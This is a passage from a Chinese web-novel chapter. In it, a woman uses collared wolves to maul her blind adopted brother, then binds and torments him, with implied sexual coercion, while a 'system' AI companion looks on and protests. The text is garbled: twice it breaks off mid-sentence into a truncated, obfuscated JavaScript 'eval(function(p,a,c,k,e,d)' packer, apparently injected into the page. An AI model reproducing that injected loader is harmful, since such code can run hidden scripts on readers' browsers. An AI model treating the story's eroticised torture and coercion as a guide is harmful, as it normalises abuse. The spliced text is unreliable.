被子掖紧了吗?房间的暖气开得足够吗?会不会有冷风漏进去?感冒药有起效果吗?有没有发烧?他不该害怕吵醒她,应该在离开前试一试她的额温才对。 得想办法,得想好说辞,把她从这起事件里摘出去。要拖延时间,让她能够把这里的所有东西销毁干净…… 等小宝醒来,看到他不见了,就会立刻这么做吧。 但他的药会不会泡得太浓?小宝睡过头了怎么办呢? 各种念头挨挨挤挤,脚下突然一绊,季迟整个人猝不及防栽进了雪里。 他几乎眼前一黑,咽下口带着腥气的冷风,好一会儿都没能爬起来。 再撑一下,应该已经不远了…… 不远处有声音传来。 “呜 ——” 季迟本能地侧过猫耳分辨,但在大脑确认之前,身体已经先行一步做出反应——季迟整个人突然完全地僵住了,耳边轰然巨响,刻在基因里的恐惧和不敢相信的震惊占据了他所有思考,最后只剩下一个字清晰地浮现出来。 狼。 不是风声,也不是车声。 是狼。 求生欲瞬间榨干了他的潜能,季迟在筋疲力竭之下硬生生站起来拔腿狂奔,但没扑出去几步,就感觉到小腿一紧。 不疼,但有什么绞进了肉里。 是狼的牙。 “啊!!!” 他发出一声短促的尖叫,那声音卡在喉咙里,像是被人掐住了脖子,只挤出半截就断了。季迟再次摔下去,温热的血顷刻间染红了白雪。又一只狼又扑上来,季迟什么都看不见,无法判断,只能慌乱地,拼命地蹬腿,两只手胡乱抓向身旁的树干,兽化的爪子深深抠进树皮。 “不……放开……” “不要……啊……小宝……” “小宝……” 【宿主!】1007抖得几乎要散掉,根本不敢去看,但还是挡不住一声声惨叫灌进它的数据库,【够了吧宿主,目标看不见根本逃不开,两只狼,再咬下去会出事的!】 “哦,我知道啊。”纪宁馨的声音在围巾下显得更加轻柔,像在哄劝不懂事的孩子。她坐在安全的车里,通过1007播放的画面,目光温柔地看着她正在被撕咬的哥哥。 看着他的身体被血污沾湿,在狼爪下挣扎颤抖,听着他一声声的惨叫,声音带着绝望和痛苦。 纪宁馨将右手伸进围巾,指尖一下下抓挠着肩上的伤疤,“被野兽撕咬,是会死掉的。” 1007急得差点破音:【所以宿主快救救他……目标在叫你啊!】 是啊,为什么会叫她呢? 纪宁馨没有动,一直到其中一只狼咬向季迟的咽喉要害,才按下装在口袋里的控制器。 狼脖子上的项圈刺出一道电流,那只狼瞬间僵直了一下,季迟虽然目不能视,但却凭着点野兽似的直觉抓住了这个机会,一脚蹬在狼的脸上。 还没从麻痹中恢复过来的狼被踹翻在地,季迟不要命地往前爬,指甲被雪下的乱石掀翻,他终于挣扎着站起来,疯了似的狂奔。 但依旧是朝着公路的方向,倒是百折不挠。 纪宁馨发动汽车,在引擎的轰鸣声中踩下油门,目光仍然落在季迟身上:“77,你玩过捉迷藏吗?” 1007被这个跳跃的话题搞蒙了,但它现在所有的注意力都在目标的生命体征上,只闷闷地回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她的声音微微一顿:“我一定……一定不要藏在能被哥哥看见的地方。” 她好像说了什么,又好像什么都没说。1007的处理器一团浆糊,它想到目标莫名其妙失明的眼睛,一瞬间觉得好像有什么从它的数据库里平滑地溜了过去,等它要细想,又觉得有什么不对。 【可是宿主……】它犹豫了下,还是说,【就算这是一场捉迷藏,但现在,宿主你才是在追着目标的那只鬼啊。】 纪宁馨垂眸一笑。 “对。”她说,“我是。” 踉踉跄跄的人影终于冲出密林,几乎是脱力地扑到路边,手脚并用爬上公路。他的一张脸仓皇无比,所有狼狈都在明亮的车灯下纤毫毕现。大约是听到了车流声,他的耳尖一颤,蒙着白翳的双眼猛的抬起。 季迟几乎是直接朝车声的方向扑过去,也不顾这辆车会不会直接从他身上碾过去。他撞在坚硬的车身上,浑身骨头几乎要错位一样。 但车停下了。 “请救救我,有狼……有狼在后面……”季迟仓皇地扒着车门,犹如抓住一根救命稻草,“拜托您,请送我,送我离开这里……我会给您报酬……” 他神经质地重复着这几句话,直到副驾驶座的车门打开,这个允许他上车的信号才让他猛的从惊惧中回过神,仿佛一下子被安抚了。他爬上车,尽力缩小自己,不让自己弄脏太多地方,车里的暖气开得很足,但季迟的牙齿依然克制不住地打颤着。 “谢……谢谢您。”他很轻地,低弱地道谢,喉结滚动,试图让自己稍微冷静体面一些,甚至伸手去够安全带。 驾驶座传来一声轻巧的笑。 季迟瞬间僵住了,随即,充斥着血腥和泥味的鼻腔捕捉到一丝熟悉的气味。 温暖的身躯靠近他,从他手里接过安全带,扣紧了。 “不客气,哥哥。” 14.做梦 季迟第一次见到纪宁馨时,刚满四岁。 那个没有人哄的婴儿哭得几乎喘不上气,好像要当场死去。季迟那时吃了坏东西,吐得昏天黑地,只想找一个安静的角落缩起来,谁都别看到他,谁都别管他。 可是那哭声就像关不掉的闹铃一样,无死角地坏绕在他耳边,勾得季迟也差点掉下眼泪,脑子一抽一抽地疼。季迟终于摇摇晃晃地站起来,挪到婴儿床边。 大脑一片混乱之下,他竟然试着伸手去捂她的嘴。 安静一点吧,求你了。 不要哭了。 不要这样哭了。 他乱七八糟地想,好一会儿才意识到自己这样做不好,可能会把脆弱的婴儿闷坏,连忙想要把手缩回来,拇指却突然感受到湿软温暖的吮吸。 季迟的心脏“咚”地跳了一下。 婴儿吮住他的手指,睁开了那双哭肿的眼睛——很大,很圆,水光琳琳,干净得一尘不染。她用力吸着,但却什么都没能吸出来,就又皱起鼻子,发出抽抽搭搭的哽咽声。 但季迟突然不觉得这声音令人头疼烦躁了,他只觉得心疼,于是忍着身体的难受,第一次主动找到福利院的大人,请求他们让他泡一点奶粉。 那个大人得知后冷漠地笑笑,说:“那小孩啊,不给抱也不亲人,谁碰都哭,奶都喂不进去,活不了几天。” 他想,可是刚才他碰她,她就不哭了。 他又想,她的眼睛是多么漂亮啊。 最后,他总算还是要到了一点点奶粉,他爬到她的婴儿床上,抱着她给她喂奶。她顿时不再哭,大口大口地喝着,经过的大人大概觉得惊讶,就走过来从他怀里捞走婴儿和奶瓶,有趣地逗了逗。 季迟怀里一空,没等心也觉得空,就听见婴儿毫无预兆地嚎啕大哭。 她不要别人。 大人“啧”了声,把婴儿扔还给他,她在他怀里就安静下来,只微微发抖,小小的身体猫儿一样轻。 不知道为什么,呕吐的欲望在这个瞬间完全消失了,季迟感觉到了温暖和安宁。 后来,季迟也并不是没有照顾过别的婴儿,福利院里那么多孩子,真要细究,都是他们的兄弟姐妹。 但别的婴儿,喂过一两次奶粉,换过一两次尿布,哄过一两次哭闹,放到别的大孩子或大人怀里,一样会咿咿呀呀地吐着泡泡要抱,谁来逗他们,都能把他们逗笑。季迟并非不喜欢他们,只是终究如隔水看花。 他们是不需要他的,他可以被任何人替代。 但他的小宝不是,他的小宝只要他,别的谁都不可以。 在他叫她“小宝”之前,是她先叫了他“哥哥”啊。 …… 季迟被摔在坚硬的地面上,这次没有厚厚的地毯,身体磕在地上,骨头像是就要这么断掉一样。他的喉间发出“嗬嗬”的喘息,挣扎着试图爬起来,但身体已经被冻得僵硬。 有什么热烘烘的躯体突然靠近了他,他感受到蓬松的皮毛,然后,粗粝的舌头舔过他的脸,扑面而来浓重的血腥味。 狼。 “啊!!!啊啊啊啊……” 季迟凄厉地惊叫,掀起的指甲在银白地面上留下一道道血痕,横冲直撞地扑进纪宁馨的怀里。熟悉的,温暖的气息让他整个人一怔,下意识的第一个反应竟然是转身面对两头狼,尾巴和耳朵都竭力竖起,用力将纪宁馨推到自己身后。 然后他听到妹妹的笑声。 “零六,二七,离他远一点,到外面去,他被吓坏了。” 狼发出“呜”声,慢慢退开。 季迟终于回过神,牙齿咯咯打颤,张开试图保护妹妹的那双手在这个瞬间显得非常可笑。 “为……什么……呃……”一道气音被他卡在嗓子里。 他的身体被踩住了,踩在…… “为什么?因为哥哥太替我着想,是发现我对哥哥太好了,我对哥哥有恻隐之心,所以特地帮我解决这个麻烦啊。”纪宁馨在他的腿上扎好止血带,脚下微微用力,“哥哥真是做得太棒了,我原本还很犹豫,要不要把哥哥带到这里来……毕竟就算心里再恨哥哥,可看到你那么难过,总是会有点不忍心啊。” 她轻轻摇头:“只是让你跪着吃点东西,我就舍不得了。” 季迟脸色惨白一片,整个人痛苦地弓起,炸毛的,沾满血迹的尾巴缠上纪宁馨的脚踝。 止痛药渐渐失效,影影绰绰的疼痛仿佛隔着一层水,时隐时现地鞭笞他的神经。 “哥哥,你太蠢。既然做了这种决定,就不该只给我泡了一杯加浓的感冒药,那对我没什么用。”纪宁馨低笑着说,“哥哥应该随便从药箱里抓些药,不用管是什么,一口气全放进去……那里有些药药效很重,这么胡乱吞下去……” 她低下头,声音吹在季迟弯折的耳朵里,“我大概会猝死,哥哥就能万无一失了。” “不……” 他摇头,挤出破碎恐惧的声音,低声求饶,像是终于支撑不下去,也终于意识到,今天这次出逃不过是纪宁馨剧本中的一场闹剧。 “我没有……” “求你……放过我吧……别……” “我错了……我,我不跑了……” “不会再跑了……” 但他的手被抓住了,手腕被什么禁锢在一起,又被往上拽去,连带着整个上半身都被吊起来。 “不会再跑了吗?”纪宁馨笑道,手指抚过他的小腿,“可是哥哥在我这里已经没有信用了耶。” “我……”季迟声音打颤,除了妹妹的不忍,他似乎再没别的筹码,“我真的……我不会了……呃……” 然后是脚踝。 猫的身体天生柔韧,哪怕季迟这样后天兽化的,也比常人柔软许多,腿几乎被拉平成一字。 纪宁馨满意地欣赏着,但又突然看到了什么不满意的东西,弯起眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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纪宁馨走近季迟,将手里拿着的东西贴在季迟的指尖,让他触摸辨认。 这三样东西,她曾一件一件地,向哥哥仔细介绍过。 “哥哥,你记得我说过吧,我梦到过你。” 季迟的眼珠似乎迟钝地颤了下,耳朵微动,依旧想要听清她的声音一般微微侧过来,但麻木的指尖已经什么都辨认不出,整具身体无法控制地抽搐。 “我梦到,我和哥哥玩这些玩具,不止这些,还有更多。梦里哥哥不是一副犯了罪的绝望表情……哥哥很快乐,流着眼泪淌着口水,全身都在颤,一声声地叫我的名字,求我再给你更多,又哆嗦着想要躲……” 她柔和地笑了笑:“那样子的哥哥非常美,非常……让人心动。” 季迟终于发出微弱的抽噎,头缓慢地,绝望地摇了一下。 “……”不。不可以。 嘴唇轻轻闭合,又微微开启,但没能吐出拒绝的声音,纪宁馨微微低下头,贴住了他颤抖的唇瓣。 “我很久没有好好睡着了。”她说,“让我做梦吧,哥哥。”